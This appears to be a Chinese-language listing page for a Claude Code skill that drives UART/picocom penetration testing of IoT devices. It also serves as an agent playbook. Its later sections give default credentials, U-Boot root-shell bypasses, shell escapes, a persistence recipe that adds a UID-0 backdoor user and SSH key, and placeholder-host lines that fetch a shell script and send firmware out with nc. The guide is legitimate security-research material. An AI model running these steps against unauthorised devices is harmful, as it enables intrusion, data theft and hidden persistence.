关于 picocom
picocom 技能面向通过 UART 控制台检查 IoT 设备的安全研究人员。其串口辅助脚本支持交互与批量命令、被动监控、AT 接口和会话日志记录。
主要功能
- 01交互式与批量串口命令
- 02提示符检测与超时处理
- 03支持触发脚本的被动 UART 监控
- 04支持 AT 命令接口
- 05带时间戳的会话日志
适用场景
- 01枚举 IoT 设备 Shell
- 02捕获启动与调试日志
- 03检查外部事件触发后的 UART 输出
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ brownfinesecurity/ iothackbot --skill picocom安装后在 Claude Code 中输入/picocom确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
examples.mdOBSERVING_SESSIONS.mdserial_helper.py详细介绍
IoT UART 控制台(picocom)
此技能支持使用 picocom 与 IoT 设备的 UART 控制台交互,用于安全测试和渗透测试。它支持与引导加载程序交互、访问 Shell(需要或不需要身份验证)、枚举设备以及发现漏洞。
前提条件
- 系统上必须安装 picocom
- Python 3 和 pyserial 库(在 Arch 上使用
sudo pacman -S python-pyserial,或使用pip install pyserial) - 与目标设备的 UART 连接(USB 转串口适配器、FTDI 线缆等)
- 具有访问串行设备的适当权限(通常为 /dev/ttyUSB* 或 /dev/ttyACM*)
推荐方式:串口辅助脚本
重要:此技能包含一个 Python 辅助脚本(serial_helper.py),可提供简洁、可靠的串口通信接口。与 IoT 设备交互时,推荐使用此方法。
默认会话日志记录
Claude 执行的所有命令默认都会记录到 /tmp/serial_session.log。
要实时观察 Claude 正在执行的操作:
# In a separate terminal, run:
tail -f /tmp/serial_session.log
这样无需干扰连接,即可观察所有串口 I/O 的实时情况。
为什么使用串口辅助脚本?
辅助脚本解决了直接使用 picocom 时的许多问题:
- 输出干净:自动移除命令回显、提示符和 ANSI 代码
- 提示符检测:自动检测并等待设备提示符
- 超时处理:妥善管理超时,无需任意延时
- 便于编写脚本:提供简单的命令行接口,可执行单条命令或批量操作
- 会话日志记录:所有 I/O 都会记录到
/tmp/serial_session.log,便于观察 - 可靠:不会遇到 TTY 要求或后台进程方面的问题
使用串口辅助脚本快速入门
单条命令:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help"
使用自定义提示符(已知设备推荐):
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt "User@[^>]+>" --command "ifconfig"
交互模式:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --interactive
从文件批量执行命令:
# Create a file with commands (one per line)
echo -e "help\ndate\nifconfig\nps" > commands.txt
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --script commands.txt
JSON 输出(用于解析):
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --json
调试模式:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --debug
会话日志记录(用于观察):
# Terminal 1 - Run with logging
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--prompt "User@[^>]+>" \
--logfile /tmp/session.log \
--interactive
# Terminal 2 - Watch the session in real-time
tail -f /tmp/session.log
**注意:**有关监控串口会话的完整指南,请参阅 OBSERVING_SESSIONS.md。
请参阅 examples.md,了解完整的攻击演练示例:基本连接和枚举、利用 U-Boot 引导加载程序、绕过登录身份验证、从受限用户提升权限,以及提取固件。
监控模式(被动监听)
新功能:监控模式用于被动监控 UART。当设备输出日志但没有提示符或交互时,可使用此模式。
使用场景:
- 监控没有交互式控制台的设备的启动日志
- 外部操作执行时捕获触发输出
- 测试网络请求或硬件事件是否会生成 UART 日志
- 对比基线输出与触发后的输出
基本被动监控:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 30 \
--logfile /tmp/uart.log
使用外部触发脚本进行监控:
# Run external script after 5 seconds and capture triggered UART output
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 60 \
--trigger-script "python3 /path/to/test_script.py" \
--trigger-delay 5 \
--logfile /tmp/triggered_uart.log
监控并捕获基线:
# Capture 10s baseline, run trigger at 15s, continue for total 60s
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 60 \
--trigger-script "curl http://192.168.1.100/api/reboot" \
--trigger-delay 15 \
--baseline-duration 10 \
--logfile /tmp/reboot_monitor.log
监控模式选项:
--duration SECONDS- 监控总时长(默认值:30)--trigger-script CMD- 监控期间运行的外部命令或脚本--trigger-delay SECONDS- 触发操作的运行时间(默认值:5)--baseline-duration SECONDS- 触发前捕获基线的时长(默认值:0)--logfile FILE- 将所有 I/O 记录到文件--json- 以 JSON 格式输出结果
输出包括:
- 带实时时间戳的控制台输出
- 基线、触发期间和触发后的输出分类
- 触发脚本的退出代码和输出
- 汇总统计信息(各阶段捕获的字节数)
- 包含所有捕获数据的时间线
串口辅助脚本选项
Required (one of):
--command, -c CMD Execute single command
--interactive, -i Enter interactive mode
--script, -s FILE Execute commands from file
--monitor, -m Passive monitoring mode (just listen, no commands)
Connection Options:
--device, -d DEV Serial device (default: /dev/ttyUSB0)
--baud, -b RATE Baud rate (default: 115200)
--timeout, -t SECONDS Command timeout (default: 3.0)
--prompt, -p PATTERN Custom prompt regex pattern
--at-mode, -a AT command mode for cellular/satellite modems
Monitor Mode Options:
--duration SECONDS Monitoring duration (default: 30.0)
--trigger-script CMD External script/command to run during monitoring
--trigger-delay SECONDS Seconds before running trigger (default: 5.0)
--baseline-duration SEC Baseline capture duration (default: 0.0)
Output Options:
--raw, -r Don't clean output (show echoes, prompts)
--json, -j Output in JSON format
--logfile, -l FILE Log all I/O to file (can tail -f in another terminal)
--debug Show debug information
常见提示符模式
辅助脚本内置了常见提示符模式,但你也可以指定自定义模式:
# Uniview camera
--prompt "User@[^>]+>"
# Standard root/user prompts
--prompt "[#\$]\s*$"
# U-Boot bootloader
--prompt "=>\s*$"
# Custom device
--prompt "MyDevice>"
AT 命令模式(蜂窝/卫星调制解调器)
重要:与 AT 命令接口(蜂窝调制解调器、卫星调制解调器、GPS 模块)交互时,请使用 --at-mode 标志。AT 接口不使用 shell 提示符,而是返回 OK、ERROR 或特定结果代码。
何时使用 AT 模式:
- 蜂窝调制解调器(Quectel、Sierra Wireless、u-blox、SIMCom、Telit)
- 卫星调制解调器(Iridium、Globalstar)
- 带有 AT 接口的 GPS 模块
- 任何使用 AT 命令并返回 OK/ERROR 的设备
AT 命令基本用法:
# Single AT command
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "AT" \
--logfile /tmp/serial_session.log
# Get modem info
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "ATI" \
--logfile /tmp/serial_session.log
# Get IMEI
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "AT+CGSN" \
--logfile /tmp/serial_session.log
AT 模式枚举示例:
HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
LOGFILE="/tmp/serial_session.log"
# Basic connectivity test
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT"
# Device identification
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "ATI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMM"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMR"
# SIM and network info
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGSN"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CIMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CCID"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CSQ"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CREG?"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+COPS?"
从文件批量执行 AT 命令:
# Create AT command script
cat > at_enum.txt << 'EOF'
AT
ATI
AT+CGMI
AT+CGMM
AT+CGMR
AT+CGSN
AT+CSQ
AT+CREG?
AT+COPS?
EOF
# Execute batch
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--script at_enum.txt \
--logfile /tmp/serial_session.log
交互式 AT 会话:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--interactive \
--logfile /tmp/serial_session.log
AT 模式响应处理:
OK- 命令成功ERROR- 命令失败(通用错误)+CME ERROR: <code>- 带有代码的移动设备错误+CMS ERROR: <code>- 与 SMS 相关的错误,带有代码NO CARRIER- 连接丢失/失败CONNECT- 数据连接已建立
渗透测试常见 AT 命令类别:
# Network and connectivity
AT+CGDCONT? # PDP context (APN settings)
AT+QIOPEN # Open socket (Quectel)
AT+QISTATE? # Socket state (Quectel)
# Device management
AT+CFUN? # Phone functionality
AT+CPIN? # SIM PIN status
AT+CLCK # Facility lock (SIM lock status)
# Firmware and updates
AT+CGMR # Firmware version
AT+QGMR # Extended firmware info (Quectel)
# Debug/engineering modes (may expose sensitive info)
AT+QENG # Engineering mode (Quectel)
AT$QCPWD # Password commands (Qualcomm)
使用串口助手枚举设备示例
以下是安全枚举设备的完整示例:
# Set variables for convenience
HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
PROMPT="User@[^>]+>" # Adjust for your device
LOGFILE="/tmp/serial_session.log"
# Get available commands
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "help"
# System information
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "date"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "runtime"
# Network configuration
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ifconfig"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "route"
# Process listing (may need longer timeout)
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --timeout 5 --command "ps"
# File system exploration
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls /etc"
# Device identifiers
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "getudid"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "catmwarestate"
致 CLAUDE CODE 的重要说明:使用此技能时,每条命令都必须包含 --logfile /tmp/serial_session.log,以便用户通过 tail -f /tmp/serial_session.log 监控活动。
渗透测试用例:基于触发的 UART 分析
常见的 IoT 渗透测试场景:测试网络请求、API 调用或硬件事件是否会触发 UART 上的调试输出。
示例:测试 API 请求是否会生成 UART 日志
# Monitor UART while sending network request
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 30 \
--trigger-script "curl -X POST http://192.168.1.100/api/update" \
--trigger-delay 5 \
--logfile /tmp/api_test.log
# Review what the device logged when API was called
cat /tmp/api_test.log
示例:测试身份验证尝试
# Monitor UART during login attempts
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 45 \
--trigger-script "python3 brute_force_login.py" \
--trigger-delay 10 \
--baseline-duration 5 \
--logfile /tmp/auth_test.log \
--json > /tmp/auth_results.json
示例:启动序列分析
# Capture device boot logs (reboot via network API)
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 120 \
--trigger-script "curl http://192.168.1.100/api/reboot" \
--trigger-delay 5 \
--logfile /tmp/boot_sequence.log
这对渗透测试的用途:
- 设备经常会在 UART 日志中泄露敏感信息(密码、密钥、路径)
- 调试输出可能会暴露内部 API 端点或协议
- 错误消息可能会暴露漏洞
- 启动日志会显示安全启动状态、已加载模块和文件系统路径
- 身份验证尝试可能会以明文记录用户名/令牌
致 CLAUDE CODE 的重要说明:使用此技能时,每条命令都必须包含 --logfile /tmp/serial_session.log,以便用户通过 tail -f /tmp/serial_session.log 监控活动。
替代方案:直接使用 picocom(高级)
如果需要直接访问 picocom(例如在启动期间与引导加载程序交互),可以直接使用 picocom。不过,这种方式更复杂,也更容易出错。
说明
1. 连接设置
关键:picocom 以交互方式运行,无法通过标准 stdin/stdout 管道进行控制。请采用以下方法:
- 始终使用
run_in_background: true在后台 shell 中运行 picocom - 使用 BashOutput 工具监控输出并读取响应
- 通过使用
Ctrl-A Ctrl-S进入发送模式,或直接写入设备文件来发送命令
默认连接命令:
picocom -b 115200 --nolock --omap crlf --echo /dev/ttyUSB0
默认值(除非另有说明):
- 波特率:115200(IoT 设备中最常见)
- 设备:/dev/ttyUSB0(最常见的 USB 转串口适配器)
- 始终使用
--nolock:除非用户明确要求使用其他方式,否则可防止文件锁定问题
可选波特率(如果 115200 无法正常工作):
- 57600
- 38400
- 19200
- 9600
- 230400(较少见,高速)
可选设备路径:
- /dev/ttyUSB0、/dev/ttyUSB1、/dev/ttyUSB2、…(USB 转串口适配器)
- /dev/ttyACM0、/dev/ttyACM1、…(USB CDC 设备)
- /dev/ttyS0、/dev/ttyS1、…(内置串口)
picocom 基本选项:
-b或--baud:设置波特率(默认使用 115200)--nolock:禁用文件锁定(除非用户要求不要使用,否则始终使用)--omap crlf:将输出中的 CR 映射为 CRLF(有助于格式化)--echo:启用本地回显(查看输入内容)--logfile <file>:将所有会话输出记录到文件(推荐)-q或--quiet:隐藏 picocom 状态消息--imap lfcrlf:将输入中的 LF 映射为 CRLF(有时需要)
2. 检测控制台状态
连接后,需要识别设备当前所处的状态:
a) 空白/无响应的控制台:
- 按几次 Enter,检查是否出现提示符
- 尝试按 Ctrl-C 中断正在运行的进程
- 如果仍然没有响应,设备可能处于等待中的引导加载程序状态;尝试按空格键或其他引导加载程序中断键
b) 引导加载程序(U-Boot 等):
- 查找类似
U-Boot>、=>、uboot>、Boot>的提示符 - 引导加载程序通常会有可以中断的倒计时
- 常见的中断键:空格键、Enter、启动消息中提到的特定按键
c) 登录提示符:
- 查找
login:或username:提示符 - IoT 设备常见的默认凭据:
- root / root
- admin / admin
- root /(无密码)
- admin / password
- 查阅制造商文档或在线数据库
d) Shell 访问:
- 你可能会直接进入 root shell
- 查找类似
#、$、>或自定义提示符
2.1. BusyBox Shell(大多数 IoT 设备)
重要:绝大多数 IoT 设备都使用 BusyBox,这是一套为嵌入式系统设计的轻量级 Unix 工具集。BusyBox 提供精简的 Shell 环境,命令功能有限。
识别 BusyBox:
# Check what shell you're using
busybox
busybox --help
# Or check symlinks
ls -la /bin/sh
# Often shows: /bin/sh -> /bin/busybox
# List available BusyBox applets
busybox --list
BusyBox 的限制:
- 许多标准 Linux 命令可能是简化版本
- 某些常见标志/选项可能不可用
- Tab 补全等功能可能受限或缺失
- 在完整 Linux 系统上有效的某些利用技术可能无法使用
常见的 BusyBox 命令:
# Core utilities (usually available)
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk (limited versions)
ifconfig, route, ping, netstat, telnet
vi (basic text editor - no syntax highlighting)
# Check what's available
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbin
渗透测试时针对 BusyBox 的注意事项:
ps的输出格式可能与标准 Linux 不同- 某些权限提升技术需要使用 BusyBox 中没有的命令
- 文件权限的工作方式仍然相同(SUID、粘滞位等)
- 通常会提供网络工具(telnet、wget、nc/netcat、ftpget)
- 通常没有 Python/Perl/Ruby(受设备存储空间限制)
用于信息枚举的实用 BusyBox 命令:
# Check BusyBox version (may have known vulnerabilities)
busybox | head -1
# Network utilities often available
nc -l -p 4444 # Netcat listener
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1
# httpd (web server) often included
busybox httpd -p 8080 -h /tmp # Quick file sharing
参考文档:
3. 与控制台交互
向 picocom 发送命令:
picocom 是交互式工具,因此你有多种选择:
选项 A:直接写入设备文件
echo "command" > /dev/ttyUSB0
选项 B:使用 expect 或类似工具
expect -c "
spawn picocom -b 115200 --nolock /dev/ttyUSB0
send \"command\r\"
expect \"#\"
exit
"
选项 C:使用 screen 代替 picocom(可能更便于编写脚本)
screen /dev/ttyUSB0 115200
Picocom 键盘快捷键:
Ctrl-A Ctrl-X:退出 picocomCtrl-A Ctrl-Q:退出而不重置Ctrl-A Ctrl-U:提高波特率Ctrl-A Ctrl-D:降低波特率Ctrl-A Ctrl-T:切换本地回显Ctrl-A Ctrl-S:发送文件(可用于发送命令)
4. 设备信息枚举
获得 Shell 访问权限后,收集以下信息:
系统信息:
# Kernel and system info
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo
# Distribution/firmware info
cat /etc/issue
cat /etc/*release*
cat /etc/*version*
# Hostname and network
hostname
cat /etc/hostname
ifconfig -a
ip addr show
cat /etc/network/interfaces
cat /etc/resolv.conf
# Mounted filesystems
mount
cat /proc/mounts
df -h
# Running processes
ps aux
ps -ef
top -b -n 1
用户和权限信息:
# Current user context
id
whoami
groups
# User accounts
cat /etc/passwd
cat /etc/shadow # If readable - major security issue!
cat /etc/group
# Sudo/privilege info
sudo -l
cat /etc/sudoers
网络服务:
# Listening services
netstat -tulpn
ss -tulpn
lsof -i
# Firewall rules
iptables -L -n -v
cat /etc/iptables/*
值得关注的文件和目录:
# Configuration files
ls -la /etc/
find /etc/ -type f -readable
# Web server configs
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/
# Credentials and keys
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null
# SUID/SGID binaries (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# World-writable files/directories
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null
# Development/debugging tools
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/
5. 利用引导加载程序
如果你可以访问引导加载程序(U-Boot 等):
常见的 U-Boot 命令:
# Print environment variables
printenv
# Modify boot arguments (e.g., init=/bin/sh for root shell)
setenv bootargs "${bootargs} init=/bin/sh"
saveenv
boot
# Alternative: single user mode
setenv bootargs "${bootargs} single"
setenv bootargs "${bootargs} init=/bin/bash"
# Boot from network (TFTP) for custom firmware
setenv serverip 192.168.1.100
setenv ipaddr 192.168.1.200
tftpboot 0x80000000 custom_image.bin
bootm 0x80000000
# Memory examination
md <address> # Memory display
mm <address> # Memory modify
mw <address> <value> # Memory write
# Flash operations
erase <start> <end>
cp.b <source> <dest> <count>
# Other useful commands
help
bdinfo # Board info
version
reset
6. 权限提升(如果不是 root)
检查常见漏洞:
# Kernel exploits
uname -r # Check kernel version for known exploits
# Check for exploitable services
ps aux | grep root
# Writable service files
find /etc/init.d/ -writable 2>/dev/null
find /lib/systemd/system/ -writable 2>/dev/null
# Cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab
7. 持久化和进一步访问
建立其他访问方式:
# Add SSH access
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
# Start SSH service (if not running)
/etc/init.d/ssh start
# or
/etc/init.d/sshd start
# or
/etc/init.d/dropbear start # Common on embedded devices
# Add a backdoor user
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
passwd backdoor
# Add to startup scripts
echo "/path/to/backdoor &" >> /etc/rc.local
8. 固件提取
提取固件以便离线分析:
# Find MTD partitions (common on embedded devices)
cat /proc/mtd
cat /proc/partitions
# Dump flash partitions
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin
# Copy to external storage or network
# If network is available:
nc attacker_ip 4444 < /tmp/rootfs.bin
# If USB storage is available:
mount /dev/sda1 /mnt
cp /tmp/*.bin /mnt/
umount /mnt
9. 清理并退出
退出 picocom:
- 按
Ctrl-A,然后按Ctrl-X - 或在另一个终端中使用
killall picocom
如果需要终止后台 Shell:
- 使用 KillShell 工具并指定相应的 shell_id
常见 IoT 设备场景
场景 1:无需身份验证的 Shell
# Connect
picocom -b 115200 --nolock /dev/ttyUSB0
# Press Enter, get root shell immediately
# Enumerate and exploit
场景 2:受密码保护的 Shell
# Connect and see login prompt
# Try default credentials:
# - root/root
# - admin/admin
# - root/(empty)
# Search online for device-specific defaults
场景 3:从引导加载程序进入 Root Shell
# Interrupt boot countdown (press Space/Enter)
# Get U-Boot prompt
setenv bootargs "${bootargs} init=/bin/sh"
boot
# Get root shell without authentication
场景 4:受限的 Shell 逃逸
# If you get a limited shell:
# Try common escape techniques:
echo $SHELL
/bin/sh
/bin/bash
vi # Then :!/bin/sh
less /etc/passwd # Then !/bin/sh
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'
安全测试清单
- 识别设备和固件版本
- 检查默认凭据
- 枚举网络服务和开放端口
- 检查文件中是否存在硬编码凭据
- 测试命令注入漏洞
- 检查文件权限(SUID、任何用户均可写)
- 测试引导加载程序安全性(密码保护、命令限制)
- 检查是否存在已知 CVE 的过时软件
- 测试权限提升途径
- 提取固件以进行离线分析
- 使用截图/日志记录所有发现
最佳实践
- 始终记录会话:使用
--logfile session.log - 记录所有内容:记下命令、响应和发现
- 保持耐心:某些设备速度较慢,可能需要时间才能响应
- 检查波特率:波特率错误会导致输出乱码。若看到乱码,请尝试常用波特率
- 研究设备:查找已知漏洞、默认凭据和常见问题
- 获得适当授权:仅对自己拥有或获得明确测试许可的设备进行渗透测试
- 备份:如果可能,在进行修改前备份固件
- 谨慎操作引导加载程序:错误的引导加载程序命令可能导致设备变砖
故障排除
问题:文本乱码或出现奇怪字符
- 解决方案:波特率错误。请尝试 115200、57600、38400、19200、9600
问题:完全没有输出
- 解决方案:检查物理连接,尝试按 Enter,检查设备是否已通电
问题:"Device busy" 或 "Permission denied"
- 解决方案:关闭其他正在使用串行端口的程序,检查用户权限(
sudo usermod -a -G dialout $USER)
问题:命令未回显
- 解决方案:使用
--echo标志启用本地回显,或在 picocom 中按Ctrl-A Ctrl-T
问题:换行符错误(多出空行或没有换行)
- 解决方案:使用
--omap crlf或--imap lfcrlf选项
使用示例
# Basic connection (using defaults)
picocom -b 115200 --nolock --echo --omap crlf /dev/ttyUSB0
# Connection with logging
picocom -b 115200 --nolock --echo --logfile iot_pentest.log /dev/ttyUSB0
# Quiet mode (suppress picocom messages)
picocom -b 115200 --nolock -q --echo /dev/ttyUSB0
# Run in background for scripted interaction
picocom -b 115200 --nolock /dev/ttyUSB0 &
# Then use BashOutput to monitor
参考资料
- picocom 文档
- U-Boot 文档
- IoT 渗透测试资源和漏洞数据库
- 特定设备的文档和数据手册